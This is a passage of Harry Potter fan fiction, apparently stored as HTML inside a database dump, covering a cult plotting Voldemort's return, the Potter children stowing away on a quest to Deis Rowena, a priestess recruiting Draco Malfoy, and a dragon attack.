Godric\'s\nHollow?&quot;<br>\n<br>\n&quot;It&#8217;s the Dark Lord\'s pattern,&quot; said Snape while sneering at Ron.\n&quot;Whenever the Dark Lord or his followers embarked on a campaign of sorts,\nhe sent in his assassins to eliminate potential threats to the campaign. In\nthis case, the greatest threats to the Dark Lord mostly reside in the\nGryffindor Capitol.&quot;<br>\n<br>\n&quot;True,&quot; said Remus.<br>\n<br>\n&quot;This Crystal of Tempest,&quot; said Ginny. &quot;Can\'t we go to\nDurmstrang try to find it at the battle site before these cultists do?&quot;<br>\n<br>\n&quot;Think fool,&quot; hissed Snape. &quot;If the cultists were going to\nattack without finding the crystal first the attack would\'ve come six years\nago. The reason why they attacked now is because they have just found the\ncrystal and are preparing to use it to bring the Dark Lord back!&quot; Ginny\nlooked a little embarrassed but she and Ron still glared at Snape.<br>\n<br>\n&quot;The question is about preventing Voldemort\'s return or not,&quot; said\nSirius. &quot;He\'s coming back, we can\'t do anything about that. The question\nis how do we defeat him when he does.&quot;<br>\n<br>\n&quot;Which means that there is only one answer,&quot; said Dumbledore.\n&quot;We must find the remaining six rings of the One Deity.&quot;<br>\n<br>\nHarry and Hermione glanced down at the gold and scarlet bands around their\nfingers. They looked up into each other\'s eyes and nodded. &quot;We\'ll go\nsearch for them,&quot; said Harry.<br>\n<br>\n&quot;I wouldn\'t have entrusted the job to anyone else,&quot; said Dumbldedore,\nthe twinkle back in his eye. &quot;However, this operation must be kept a\nsecret and that would not be possible in great numbers. Therefore I suggest\nthat you take only one more individual on your quest.&quot;<br>\n<br>\nHarry and Hermione both nodded and said, &quot;Ron,&quot; at the exact same\ntime Ron said, &quot;Me.&quot; The three stared at each other and grinned.<br>\n<br>\n&quot;Very well,&quot; said Dumbledore. &quot;Since we don\'t have any clear\nidea where the rings are, my suggestion is that you head to where Lily Evans\nlearned of their existence, in the holy city of Deis Rowena. Floo powder can\ntake you as far as Deis Uno, the capitol of the Kingdom of Ravenclaw, but from\nthere it is a treacherous journey on foot through the Northern Mountains.&quot;<br>\n<br>\nHarry, Hermione, and Ron nodded. Remus suddenly spoke up and said, &quot;You\nshould also take your families with you.&quot;<br>\n<br>\n&quot;What? What for?&quot; said Harry. He and Hermione were clearly confused\nby Remus\'s suggestion. Ron opened his mouth to say something sarcastic but\nthough better of it and shut his mouth.<br>\n<br>\n&quot;Camouflage,&quot; said Remus. &quot;If you make it look like a family\nvacation, than no one, especially the cultists, would think that you were on\nsome secret mission. You should simply leave them in Deis Uno while the three\nof you head to Deis Rowena. Nobody ever watches the mountain passes.&quot;<br>\n<br>\nThe three started discussing Remus\'s suggestion amongst themselves. Finally\nHermione said, &quot;OK, we\'ll do that.&quot;<br>\n<br>\n* * *<br>\n<br>\nMeanwhile, James had more or less recovered from the trauma he had experienced\nthe previous day and was out near the lake, playing with his sisters and\nChristopher.<br>\n<br>\n&quot;You should\'ve seen me,&quot; he declared. &quot;I was like lightning,\nswooping down there to save the day!&quot;<br>\n<br>\n&quot;James you could\'ve been killed!&quot; cried Lin. &quot;I was so worried!\nDon\'t ever do that again!&quot;<br>\n<br>\nJames didn\'t make a comeback like he usually did; he completely understood that\nLin was right. He had nearly been killed.<br>\n<br>\n&quot;Yeah I know,&quot; he said. &quot;I\'m sorry. I was stupid.&quot; He\npicked up a small rock and threw it into the lake.<br>\n<br>\n&quot;Yes you were stupid,&quot; said Lin. &quot;I\'ve known that for a long\ntime.&quot; James glared at her but said nothing.<br>\n<br>\nAt around that moment Rubeus Hagrid, the giant Hogwarts groundskeeper came\ntoward them carrying a large crate. Virginia and Christopher (whom were very\nclose) looked up from the sandcastle they were making. Hagrid was one of the\nfew people whom Virginia wasn\'t shy around, despite his large size. She stood\nup and ran over to him crying, &quot;Hagrid!&quot;<br>\n<br>\n&quot;Hey, li\'le \'irginia,&quot; said Hagrid as he picked up a giggling\nVirginia in a strong bear hug. Christopher also leapt onto Hagrid, clearly\nhappy to see his favorite giant. Lin and James were meanwhile staring\napprehensively at that crate Hagrid had brought.<br>\n<br>\n&quot;Um, Hagrid,&quot; said Lin, &quot;What\'s that?&quot;<br>\n<br>\n&quot;Aw, this?&quot; said Hagrid, pointing at the crate. &quot;This \'ere are\nmeh new beauts.&quot;<br>\n<br>\nThe crate wobbled a little indicating that there was something alive inside.\nJames swallowed and said, &quot;And what exactly may those \'beauts\' be?&quot;<br>\n<br>\n&quot;Glad yeh asked,&quot; said Hagrid, his face filled with glee. He pried\nthe lid of the crate open. Lin and James apprehensively glanced inside.<br>\n<br>\nInside the crate were about a dozen tiny creatures that looked like some ugly\ncross between a crab and scorpion with black exoskelotons. Lin yelped and\nsprang back when one of the creatures suddenly propelled itself out of the\ncrate with a burst of flame from what must\'ve been its rear end. Hagrid\nchuckled as he caught the creature and shoved it back into the crate.<br>\n<br>\n&quot;I call \'em Blast-ended Skrewts,&quot; said Hagrid. &quot;Ain\'t they\nbeautiful?&quot;<br>\n<br>\n&quot;Um, yes,&quot; said Lin, perhaps a little too slowly. Hagrid didn\'t seem\nto notice as he was gently pulling a gleeful Virginia and Christopher off his\nshoulders.<br>\n<br>\n&quot;Want ta help meh feed \'em?&quot; asked Hagrid. &quot;I have no idea wha\'\nthey eat but we\'ll figure it ou\' if yeh give meh time.&quot;<br>\n<br>\nLin seemed horrified by the idea and even the adventurous James seemed\nterrified. He decided to try to change the subject: &quot;So what are the grown\nups talking about?&quot;<br>\n<br>\n&quot;That is top secret,&quot; said Hagrid. &quot;You ain\'t suppose\' ta know\nthat yeh parents are taking yeh all ta Ravenclaw.&quot; Hagrid suddenly clamped\nhis hand over his mouth and mumbled, &quot;I shouldn\'t a\' told yeh tha\'.&quot;<br>\n<br>\n&quot;We\'re going to Ravenclaw?&quot; said Lin, excited all of a sudden.\n&quot;Oh James, we can go see all those temples of the One Deity. And there\'re\nare so many libraries there.&quot;<br>\n<br>\nVirginia, whom also liked books, excitedly said, &quot;Libraries? Yaaaay!&quot;<br>\n<br>\nJames rolled his eyes. &quot;Lin, you\'d be happy anywhere so long as there was\na library. I for one want to see how Ravenclaw Mage Knights are different from\nGryffindor ones.&quot;<br>\n<br>\n&quot;Are Mage Knights all you ever think about?&quot; said Lin. James stuck\nhis tongue out at her.<br>\n<br>\n&quot;My Unca Percy wives in Ravenclaw,&quot; said Christopher.<br>\n<br>\n&quot;Will we see Chris\'s Uncle Percy?&quot; asked Virginia.<br>\n<br>\n&quot;Oh, yeh\'ll be seein\' lots a him,&quot; said Hagrid. &quot;Yeh parents are\nleaving yeh there while they head towar\' Deis Rowena...&quot; Hagrid must\'ve\nsaid too much since he started muttering, &quot;I shouldn\'t a said that. I\nshould not \'ave said that.&quot;<br>\n<br>\nLin was completely startled. Her Mum and Dad were going to leave them and go to\nsome other place. She was about to confront Hagrid with what he had just said\nwhen James suddenly clamped her mouth shut and innocently asked, &quot;What?\nWhat was that Hagrid?&quot;<br>\n<br>\n&quot;Nothing, Nothing at all,&quot; said Hagrid, a little too quickly.<br>\n<br>\nLin stared at James while James grinned at her. When Hagrid was out of ear\nshot, she hissed, &quot;All right James, what are you thinking.&quot;<br>\n<br>\n&quot;Just a little planning for a new adventure,&quot; said James with a\ndevilish grin. He proceeded to whisper his plan into Lin\'s ear.<br>\n<br>\n* * *<br>\n<br>\n&quot;Well, lets go,&quot; said Harry as the troupe gathered in front of the\nfireplace in Hogwarts. The troupe consisted of Harry, Hermione, Ron, Margaret,\nGinny, James, Lin, Virginia, and Christopher.<br>\n<br>\n&quot;Awre we weally going to see Unca Percy?&quot; asked Christopher.<br>\n<br>\n&quot;Yes we are, Chris,&quot; said Margaret as she picked her little son up.\n&quot;And your Aunt Penelope as well.&quot; She tossed some Floo Powder on to\nthe flames and shouted, &quot;Deis Uno Palace!&quot; before disappearing into\nthe flames.<br>\n<br>\nVirginia was a alarmed to see Margaret and Christopher suddenly disappear.\n&quot;Chris,&quot; she moaned, clearly worried about her little friend.<br>\n<br>\n&quot;Hey, he\'ll be OK,&quot; said Ginny. &quot;In fact Virginia, lets go\nfollow them, that is if your Mum and Dad don\'t mind me taking you with\nme.&quot;<br>\n<br>\n&quot;Go right ahead,&quot; said Hermione.<br>\n<br>\nGinny smiled and offered her namesake her hand. Virginia timidly took Ginny\'s\nhand and Ginny shouted, &quot;Deis Uno Palace!&quot; The two disappeared in the\nflames.<br>\n<br>\n&quot;I should go next,&quot; said Hermione. She looked toward Lin and asked,\n&quot;Do you want to go with me, Lily?&quot;<br>\n<br>\nLin rolled her eyes. &quot;Mum, I know how Floo Powder works.&quot;<br>\n<br>\n&quot;OK,&quot; said Hermione. Just remember to tuck your arms when you go\nin.&quot; Hermione briefly kissed Harry before she shouted, &quot;Deis Uno\nPalace!&quot; and disappeared into the flames.<br>\n<br>\nLin was about to walk into the flames when she suddenly turned toward James and\nstarted whispering into his ear. &quot;Are you sure that that plan of yours is\na good idea?&quot; she hissed quietly so that Harry and Ron couldn\'t hear.<br>\n<br>\n&quot;Relax,&quot; whispered James. We probably won\'t have go with until at\nleast tomorrow. Trust me, sis,&quot; James gave his twin sister the famous\nPotter grin.<br>\n<br>\nLin still looked a little doubtful but she said nothing and simply walked back\nto the fireplace. She shouted, &quot;Deis Uno Palace!&quot; and disappeared.<br>\n<br>\n&quot;What was that about?&quot; asked Harry.<br>\n<br>\nJames simply grinned and said, &quot;Oh nothing important Dad. At least I don\'t\nthink its that important.&quot;<br>\n<br>\nHarry raised a skeptical eyebrow at James while Ron started laughing. &quot;You\ngotta admit Harry, he\'s your son all right.&quot; Ron was still laughing as he\nstepped into the fireplace and shouted &quot;Deis Uno Palace!&quot; and was\nwhooshed away by the Floo Powder.<br>\n<br>\nHarry turned back to James and said, &quot;So are planning another stunt of\nsorts?&quot;<br>\n<br>\nJames grinned and said, &quot;Aw, come on Dad. Do you really think I would be\nplanning some stunt?&quot;<br>\n<br>\n&quot;Yes.&quot;<br>\n<br>\n&quot;Well I\'m not telling,&quot; said James. He shouted, &quot;Deis Uno\nPalace!&quot; and disappeared into the Floo network.<br>\n<br>\nHarry shook his head before he too shouted, &quot;Deis Uno Palace!&quot; and\ndisappeared into the flames.<br>\n<br>\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<br>\n<br>\nA/N There you have it, my next chapter. Please review and tell me if you liked\nit or not. Constructive Criticism is appreciated. But flames will simply be\nignored or sent right back to the flamer.<br>\n<br>\nFor those of you who wished to know, &quot;Magiterran&quot; is Latin for\n&quot;Magic- Earth&quot; (&quot;Magi&quot; = &quot;Magic&quot;,\n&quot;terra&quot; = &quot;earth&quot;). At lest I think it was Latin, maybe it\nwas Greek. Also the URL, http://members.fortunecity.com/ecrpotter/map.html\ncontains a map of Magiterran so you can follow the adventures of the Mage\nKnights.<br>\n<br>\nWell I sure hope this story is shaping up well. Next: We see Deis Uno, the\ncapitol of the Kingdom of Ravenclaw and there are some appearances by one Percy\nWeasley and possibly some more Weasleys. And what is James\'s plan?</p>\n\n\n\n\n\n\n'),
	(224, 6, '\n\n\n\n<p>Disclaimer: The Harry Potter series belongs to J.K. Rowling,\nWarner Bros. Inc., Scholastic, Bloomsbury, Raincoast, and any other affiliated\nparty.<br>\n<br>\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<br>\n<br>\nChapter 5: Toward the Holy City<br>\n<br>\n&#8220;Deis Uno?&#8221; questioned a woman. She was a beautiful woman with waist length\nblack hair and piercing blue eyes. She wore black priestly robes that showed\noff her figure clearly. It was the woman whom had found the Crystal of Tempest\nat the site of the Battle of Snow-Covered Fields.<br>\n<br>\n&#8220;That is what the intelligence reports, your eminence&#8221; said one of twelve\nhooded cultists surrounding the woman. They were the Children of Tempest and\nwere gathered in a dark gloomy chamber that was built in the form of a temple\nsanctuary. &#8220;The Gryffindor Royal Family has traveled to Deis Uno.&#8221;<br>\n<br>\n&#8220;No why ever would the Potters go to Ravenclaw?&#8221; muttered the woman.\n&#8220;Especially at a time like this.&#8221;<br>\n<br>\n&#8220;Perhaps they are heading toward Deis Rowena,&#8221; said another cultist.<br>\n<br>\n&#8220;Perhaps,&#8221; said the woman. &#8220;Of course, it may be possible that they are only\ngoing on some vacation but somehow I don&#8217;t think so. If they are indeed heading\ntoward Deis Rowena, that could mean trouble for us.&#8221;<br>\n<br>\n&#8220;What are your orders, your eminence?&#8221; asked a third cultist.<br>\n<br>\nThe woman closed her eyes and started thinking for a moment. Finally, she\nsighed and said, &#8220;I will pray to our lord, perhaps he can answer for us. You\nare all dismissed.&#8221;<br>\n<br>\nWith that, the cultists bowed low and left the chamber. The woman turned around\nand walked up a sinister looking black altar decorated with black serpents.\nPlaced on the altar was the Crystal of Tempest.<br>\n<br>\nThe woman kneeled in front of the alter and started saying, &#8220;Speak Lord\nTempest. Speak and grant orders to your servant, High Priestess Cassandra\nFrost.&#8221;<br>\n<br>\nOn top of the altar, the Crystal of Tempest started to give off an eerie glow.<br>\n<br>\n* * * * * * * * * *<br>\n<br>\nDeis Uno, the capitol of the Kingdom of Ravenclaw was one of the most beautiful\ncities in Magiterran. Located on the northern mouth of Eagle River at the\nsouthernmost tip of the Northern Mountains, the city had Greco- Roman style\narchitecture and was built on many slopes. Whereas Godric&#8217;s Hollow had\nbuildings of many colors, Deis Uno&#8217;s buildings were all white and conveyed a sense\nof purity. On the hill within the city stood the Royal Palace, though it looked\nmore like a temple than a palace. It was here that Queen Penelope Clearwater\nresided, with her husband Prime Minister Percy Weasley, one of Ron and Ginny&#8217;s\nolder brothers.<br>\n<br>\n&#8220;Things are going well I must say,&#8221; said Percy while he dipped his spoon into\nhis soup. He was sitting next to Penelope on the high table with the Gryffindor\nMage Knights and their families seated around them. &#8220;Literacy Rates are higher\nand cauldron production has never been better.&#8221;<br>\n<br>\nRon didn&#8217;t bother hiding his yawn. Percy had been boring them about the\nstatistics of the Kingdom for the past forty-five minutes and the children were\nall falling asleep at the table. &#8220;Wonderful news, Perce. Now can we please get\ndown to business?&#8221;<br>\n<br>\nPercy looked disappointed. &#8220;I would&#8217;ve assumed Ronald, that my stories of my\nsuccess would be a good source motivation for you.&#8221;<br>\n<br>\n&#8220;Yeah, they&#8217;re a great help,&#8221; Ron said sarcastically. &#8220;But as much as hearing\ntales about cauldron thickness is enlightening, that&#8217;s not what we&#8217;re here\nfor.&#8221;<br>\n<br>\nPercy was about to retort but Penelope shushed him and spoke up, &#8220;Its very\ndangerous to travel to the Holy Lands during this time of year. It&#8217;s the\nbreeding season for Dragons and the largest population of them in Magiterran\nlives in the Northern Mountains, where you are heading.&#8221;<br>\n<br>\n&#8220;Its important that we arrive at Deis Rowena as soon as possible,&#8221; said Harry.\n&#8220;The Mountain Pass is the only way to get there, especially since those\nApparation preventing wards created by the Death Eaters are still up.&#8221;<br>\n<br>\n&#8220;What is the whole point of going to the Holy Lands than,&#8221; Percy demanded.\n&#8220;Shouldn&#8217;t any vacations you have be spent setting up censuses in Gryffindor?&#8221;<br>\n<br>\nRon and Ginny burst out laughing at Percy&#8217;s pompous attitude. Harry simply\ngrinned and said, &#8220;That is for us to know and for you to never know.&#8221;<br>\n<br>\nAfter dinner, Hermione took Penelope aside to speak to her. &#8220;I can&#8217;t thank you\nenough for looking after the children while we are away,&#8221; she said. &#8220;Harry, Ron,\nand I will probably gone for a few days but I don&#8217;t want to burden you for so\nlong.&#8221;<br>\n<br>\n&#8220;Its no problem, Hermione,&#8221; Penelope said. &#8220;You just go take care what it is\nyou need to do. Your children are in good hands here.&#8221; Penelope placed her hand\non Hermione&#8217;s shoulder and gave it a light squeeze. Hermione couldn&#8217;t help but\nsmile a little bit.<br>\n<br>\n* * * * * * * * * *<br>\n<br>\nThat night, the entire palace was asleep with the exception of a pair of twins.<br>\n<br>\n&#8220;Are we really going through with this,&#8221; hissed a worried Lin. &#8220;We&#8217;re going to\nbe in big trouble.&#8221;<br>\n<br>\nJames rolled his eyes and said, &#8220;Lin, would you rather stay here and waste away\na great first hand learning experience.&#8221;<br>\n<br>\n&#8220;Well no, but still...&#8221;<br>\n<br>\n&#8220;Don&#8217;t worry about it, trust me. Everything is going to be alright.&#8221;<br>\n<br>\nLin was still worried but she still helped James set up his little plan. After\nall, she didn&#8217;t want to be left out either.<br>\n<br>\n* * * * * * * * * *<br>\n<br>\nThe next morning, Harry, Hermione, and Ron were about to begin their three- day\njourney to Deis Rowena.<br>\n<br>\n&#8220;We&#8217;re going to be gone for about a week,&#8221; said Hermione as she kneeled down\nand James a quick hug. &#8220;Stay out of trouble during that time.&#8221;<br>\n<br>\n&#8220;Oh don&#8217;t worry Mum, we won&#8217;t get in trouble here,&#8221; James said with a devilish\ngrin. A soft chuckle nearly drifted out of his mouth but Lin quickly elbowed\nhim before James let anything out.<br>\n<br>\n&#8220;Why is it that I don&#8217;t trust you,&#8221; Harry said.<br>\n<br>\n&#8220;Trust me Dad, we won&#8217;t get in trouble here.&#8221; Harry thought James had\nemphasized the word &#8220;here&#8221; but decided to think nothing of it.<br>\n<br>\n&#8220;Just do everything your Aunt Ginny and Aunt Margaret tell you,&#8221; Hermione said\nas she gave James a hug. She then gave Virginia a strong hug. Hermione noticed\nthat Virginia wasn&#8217;t protesting the fact that her parents were leaving, which\nwas very strange of her. &#8216;All well, my little angel just must be growing\nolder,&#8221; she thought with a small sigh.<br>\n<br>\n&#8220;OK, lets go,&#8221; said Harry. Hermione nodded and started to follow her husband.\nRon quickly kissed Margaret and Christopher before he trotted after his two\nbest friends. When he caught up with them, he whispered into Harry&#8217;s ear, &#8220;Do\nyou think James is planning something?&#8221;<br>\n<br>\n&#8220;When isn&#8217;t he planning something,&#8221; said Harry. &#8220;Yes, he definitely is, but I\ndoubt we&#8217;ll find out what his next plan is until we get back.&#8221; It would be only\nbe about five hours later when Harry would find out just how wrong he was.<br>\n<br>\n* * * * * * * * * *<br>\n<br>\nTo the west of Deis Uno was Deis Rowena, the holiest city in all of Magiterran.\nIt was the place where the One Deity had given the whole of Magiterran to the\nfounders and it was also the first city in Magiterran ever to be built. The\nfounder Rowena Ravenclaw created the city as the original capitol of the\nKingdom of Ravenclaw and it was also the site of the great Temple of the One\nDeity. Unfortunately, the city was located high up in the nearly inaccessible\nNorthern Mountains. So about eight hundred years ago, the capitol city of Deis\nUno was constructed at the base of the only mountain pass to Deis Rowena. To\nthis day, people can travel to Deis Rowena solely through the Mountain Pass\nbeginning at Deis Uno.<br>\n<br>\nIt took three days to get to Deis Rowena through the pass. Located high up in\nthe mountains and often covered by snow, it was a journey made only by the\nstrongest of people. Furthermore, travelers were also in constant danger from\nthe dragons that lived in the Northern Mountains.<br>\n<br>\nHarry, Hermione, and Ron had been traveling for nearly five hours and were\nstarting to grow exhausted.<br>\n<br>\n&#8220;Are we there yet?&#8221; Ron moaned as he dragged his feet through the foot deep\nsnow.<br>\n<br>\nHermione rolled her eyes. &#8220;Ron it&#8217;s only been five hours. We&#8217;ve still got two\nand three quarter days of traveling before we even come close.&#8221;<br>\n<br>\n&#8220;I need a break,&#8221; Ron groaned. &#8220;My feet are turning into lead and I think I\nlost a few toes to the cold.&#8221;<br>\n<br>\n&#8220;All right, lets take a break,&#8221; Harry said. &#8220;I was getting hungry anyway.&#8221;<br>\n<br>\nRon let out a cheer and shouted, &#8220;Food!&#8221; He started bounding around the place\nhappier than a lark.<br>\n<br>\n&#8220;I thought he was too exhausted to move,&#8221; Hermione said with a soft chuckle.<br>\n<br>\nRon ignored Hermione as he pulled out one of the supply sacs they had shrunken.\n&#8220;Come on, help me prepare dinner,&#8221; he said.<br>\n<br>\nHermione rolled her eyes as she enlarged the sac back to its original size. She\nwas just about to open it however when the sac started wiggling. A split second\nlater, the opening of the sac burst open and James and Lin sprang out.<br>\n<br>\n&#8220;Couldn&#8217;t you have had dinner earlier?&#8221; moaned Lin. &#8220;Its very tiring having to\nstow away in those sacs.&#8221; She looked up and saw the looks of surprise and\namusement on Harry and Ron&#8217;s faces as well as the combination of shock and fury\non Hermione&#8217;s. &#8220;It was all James idea!&#8221; squealed Lin.<br>\n<br>\nJames made a bow and said, &#8220;Thank you, thank you.&#8221;<br>\n<br>\n&#8220;How...W...what...&#8221; Hermione was so angry she couldn&#8217;t even put a coherent\nsentence together.<br>\n<br>\nHarry spoke in her stead, &#8220;What your mother is trying to say is, how did you do\nthis?&#8221;<br>\n<br>\n&#8220;Oh it was easy really,&#8221; James said. &#8220;Last night while everyone was asleep Lin\nand I enchanted the sacs so that they&#8217;re insides were large enough for us to\nstay in comfortably. Then, earlier today, we just enchanted a portkey that\nwould leave us in those sacs.&#8221;<br>\n<br>\nHermione still looked angry but Harry simply chucled and said, &#8220;Hermione,\nthey&#8217;ve upped us this time. We can&#8217;t take them back to Deis Uno so we&#8217;re going\nto have to take them with us.&#8221;<br>\n<br>\n&#8220;Fine,&#8221; snapped Hermione. &#8220;So long as I know Virginia is safe in the palace,\nI&#8217;ll be able to handle you two here.&#8221;<br>\n<br>\n&#8220;Um Mum...&#8221; Lin said hesitantly.<br>\n<br>\n&#8220;Yes?&#8221;<br>\n<br>\n&#8220;Virginia&#8217;s not in the palace.&#8221; Lin nudged the sac a little and a full head of\nbushy black hair shyly pocked out of the opening.<br>\n<br>\nMuch to Ron and Harry&#8217;s amusement, Hermione lost her temper.<br>\n<br>\n* * * * * * * * * *<br>\n<br>\nFar to the south, in Malfoy Manor, the capitol of the Kingdom of Slytherin, A\nyoung man with platinum blonde hair, pale gray eyes, and elegant green robes\nwas sauntering around the palace.<br>\n<br>\nThis was Draco Malfoy, a Mage Knight and the king of the Kingdom of Slytherin.\nAlthough Draco was the one of the rulers of the Alliance as well as a War Hero\nwho fought for the Alliance during the War against Voldemort, many people in\nthe Alliance regarded Draco with suspicion. And for good reason, for Draco was\nthe son of King Lucius Malfoy, one of Voldemort&#8217;s devoted servants as well as\nhis puppet ruler for Slytherin. Although Draco was a Mage Knight, people knew\njust how much he regarded his father.<br>\n<br>\nOn this day, Draco was not in a good mood as he stormed through his palace. He\nconsidered bullying some of his subjects just get himself to feel better as he made\nhis way to his bedroom. When he opened the door to his bedroom, he stopped\nshort, for someone was already in there.<br>\n<br>\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<br>\n<br>\nA/N I&#8217;m sorry! I&#8217;m so sorry. This chapter should&#8217;ve been out at least a week\nago but RL has been so difficult recently that this chapter was delayed.\nWhichever way, its finally here and I hope you enjoy it. I enjoyed my three\nweeks in Portland but home is often much better. Anyway, please review. Don&#8217;t\never think you are not enough to review because every singe review matters. So\nplease, REVIEW! REVIEW! REVIEW! Next: who is that in Draco&#8217;s bedroom?</p>\n\n\n\n\n\n\n'),
	(224, 7, '\n\n\n\n<p>Disclaimer: The Harry Potter series belongs to J.K. Rowling,\nWarner Bros. Inc., Scholastic, Bloomsbury, Raincoast, and any other affiliated\nparty.<br>\n<br>\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<br>\n<br>\nChapter 6: Nomie<br>\n<br>\n&#8220;Who the Hell, are you?&#8221; Draco demanded.<br>\n<br>\nThe beautiful young woman simply smiled seductively. She tossed her long black\nhair back and studied Draco&#8217;s profile for a while. Draco wondered how the woman\nhad found her way into his bedchambers but after a little thinking, he realized\nthe oh-so simple answer. It was a known fact that Draco&#8217;s father Lucius Malfoy\nhad kept a personal harem before he had married Draco&#8217;s mother, Narcissa, and\nthere were many rumors floating around that Draco kept one as well. Although these\nrumors were unconfirmed, it was a fact that Draco had a LOT of women\n&#8220;visitors&#8221;. The guards must&#8217;ve thought that this strange woman was simply\nanother one of his &#8220;visitors&#8221; with an invitation.<br>\n<br>\n&#8220;Greetings young Malfoy,&#8221; the woman said. &#8220;I am Cassandra Frost, High Priestess\nof the Children of Tempest.&#8221;<br>\n<br>\nIf Draco flinched at the name &#8220;Tempest&#8221;, he hid it well. &#8220;And what may a\nbeautiful woman such as your doing here without an invitation? Not that I am\ncomplaining,&#8221; he said with a smirk.<br>\n<br>\nCassandra grinned and made her way seductively over to Draco. &#8220;I am here to\noffer you an invitation, to the Children of Tempest.&#8221;<br>\n<br>\nDraco laughed out loud. &#8220;And why would I even consider,&#8221; he said, still with a\nsmirk. &#8220;I for one am more interested in you, my dear.&#8221;<br>\n<br>\n&#8220;I am flattered,&#8221; Cassandra said. She paused to think for a moment and said,\n&#8220;Tell me, what do you think about Harry Potter?&#8221;<br>\n<br>\nDraco was clearly thrown off guard by the abrupt change of topic. &#8220;And what\ndoes Potter have to do with anything?&#8221; he hissed.<br>\n<br>\n&#8220;He has something to do with everything the last I heard,&#8221; Cassandra mused.\n&#8220;That&#8217;s always the way it is isn&#8217;t it. Harry Potter this and Harry Potter that.\nHarry Potter the greatest of the four rulers of the Alliance. Harry Potter, the\nmost heroic and powerful of the Mage Knights. Harry Potter the vanquisher of\nthe Dark Lord. Harry Potter the victor, the conqueror, the champion, everyone&#8217;s\nwonder boy, beloved husband, father, and friend. Harry Potter with his\nbeautiful wife, mudblood as she is. Harry Potter, loved by all.&#8221; Cassandra\npaused for a moment before continuing. &#8220;And what about Draco Malfoy? War hero,\nso and so ruler, and eligible bachelor.&#8221;<br>\n<br>\nBy this time Draco was seething with anger, years of buried jealousy\nresurfacing. &#8220;Your point,&#8221; he hissed.<br>\n<br>\n&#8220;Don&#8217;t you want to best Harry Potter once and for all?&#8221; Cassandra asked as she\nlooped her arms around Draco&#8217;s neck &#8220;Join us Draco. Take a part in the glory\nthat comes with our Lord, just like your father did.&#8221;<br>\n<br>\nWhen Draco remained quiet, Cassandra pulled away and made her way over to the\ndoor. &#8220;I will be back in five days,&#8221; she said. &#8220;I will have your answer then.&#8221;\nShe then left Draco alone with his thoughts.<br>\n<br>\n* * * * * * * * * *<br>\n<br>\nIn the north, the troop of Gryffindor Mage Knights and children were walking\nthrough the snow toward Deis Rowena. Harry had managed to send an owl to Percy\nand Penelope, telling them that James, Lin, and Virginia were with them. Since\nthe three kids had taken a one way portkey, they couldn&#8217;t go back to Deis Uno.<br>\n<br>\nHermione was a little subdued as she trudged through the snow. Virginia timidly\nwent up next to her and asked, &#8220;Mommy? Are you angry with me?&#8221; She looked\nconsiderably nervous.<br>\n<br>\nHermione sighed and smiled at her younger daughter. &#8220;No Virginia. I&#8217;m not angry\nwith you or Lin and James. I&#8217;m just...frustrated. You should&#8217;ve stayed behind.&#8221;<br>\n<br>\nVirginia looked close to tears and Hermione instantly felt bad. She knelt down\nand gently scooped Virginia into her arms. Feeling better, Virginia cuddled\ninto her mother&#8217;s arms and started to drift off.<br>\n<br>\nNoticing how tired Virginia was, Hermione looked up at Harry and sent him a\nsilent message. Harry immediately understood and said, &#8220;OK, lets take a break\nhere.&#8221;<br>\n<br>\n&#8220;What?&#8221; James said. &#8220;But we can go on all day!&#8221;<br>\n<br>\n&#8220;Speak for yourself,&#8221; muttered Lin.<br>\n<br>\nWithin an hour, the troupe had fallen into a simple routine. Harry and Ron were\nteaching James had to sword fight and Hermione was telling Lin and Virginia\nstories in a separate corner, Virginia curled up in Hermione&#8217;s lap. James was a\nvery fast learner and even managed to disarm Ron a few times and Harry once.<br>\n<br>\n&#8220;That&#8217;s excellent James,&#8221; Harry said, beaming with pride. &#8220;Keep that up and\nyou&#8217;ll be unbeatable in a few years.&#8221; He parried a little and thrust his sword\nout a few times. James successfully blocked each blow.<br>\n<br>\n&#8220;Am I really that good?&#8221; James asked modestly as he deflected another one of\nHarry&#8217;s swipes.<br>\n<br>\n&#8220;Good?&#8221; exclaimed Ron. &#8220;You&#8217;re a bloody natural! I sure wouldn&#8217;t want to be\nsome cultist facing this six year old with a sword.&#8221;<br>\n<br>\nMeanwhile, Hermione was telling her daughters tales about some of the\nadventures the trio had when they were younger.<br>\n<br>\n&#8220;Did you really offer yourself to a dragon?&#8221; asked Lin, clearly interested in\nwhat Hermione had to say.<br>\n<br>\n&#8220;Yes,&#8221; Hermione smiled at the memory. &#8220;We were traveling away from Hogwarts\nwhen we found out that Hogsmeade was under siege from a Horntail. I volunteered\nmyself as a sacrificial decoy and convinced your father and your Uncle Ron to\nfill in as Dragon Slayers. It was pretty chaotic.&#8221;<br>\n<br>\n&#8220;But weren&#8217;t you scared?&#8221; asked Lin. She was bouncing around excitedly. &#8220;I\nmean, weren&#8217;t afraid that the dragon could&#8217;ve killed you or Dad or Uncle Ron?&#8221;<br>\n<br>\n&#8220;Yes I was,&#8221; Hermione said. &#8220;At the time, I thought I couldn&#8217;t ever be more\nfrightened of anything like I was that night. I was soon proven wrong when I\nwas taken to Azkaban...&#8221;<br>\n<br>\n&#8220;Azkaban?!&#8221; Lin and Virginia both exclaimed. They had both grown up listening\nto horror stories about the great Slytherin Fortress Prison.<br>\n<br>\n&#8220;Well, Yes,&#8221; said Hermione. She didn&#8217;t want to relive the horrors of the time\nshe spent in the prison but she had brought it up. &#8220;But your father eventually\ncame for me.&#8221;<br>\n<br>\n&#8220;Mommy, there&#8217;s a dragon,&#8221; said Virginia.<br>\n<br>\nAt first Hermione thought her younger daughter was referring to her story about\nher adventures years before. However, a sudden whoosh of wind and a bellowing\nroar alerted her of what Virginia had really seen. Hermione grabbed Lin and\nVirginia and leapt out of the way as large black dragon swooped down.<br>\n<br>\n&#8220;Harry!&#8221; she yelled. Harry and Ron immediately looked up and spotted the large\nRidgeback that had come crashing down into their camp. James looked excited.<br>\n<br>\n&#8220;Wow! Dad! It&#8217;s a dragon! Are you going to fight it?&#8221;<br>\n<br>\n&#8220;Yes we are going to fight it and no you may not join us,&#8221; Harry said as he\nbrandished his sword. &#8220;Go hide your sisters behind those rocks.&#8221;<br>\n<br>\n&#8220;OK,&#8221; said James. He bound forward to his mother whom was currently in 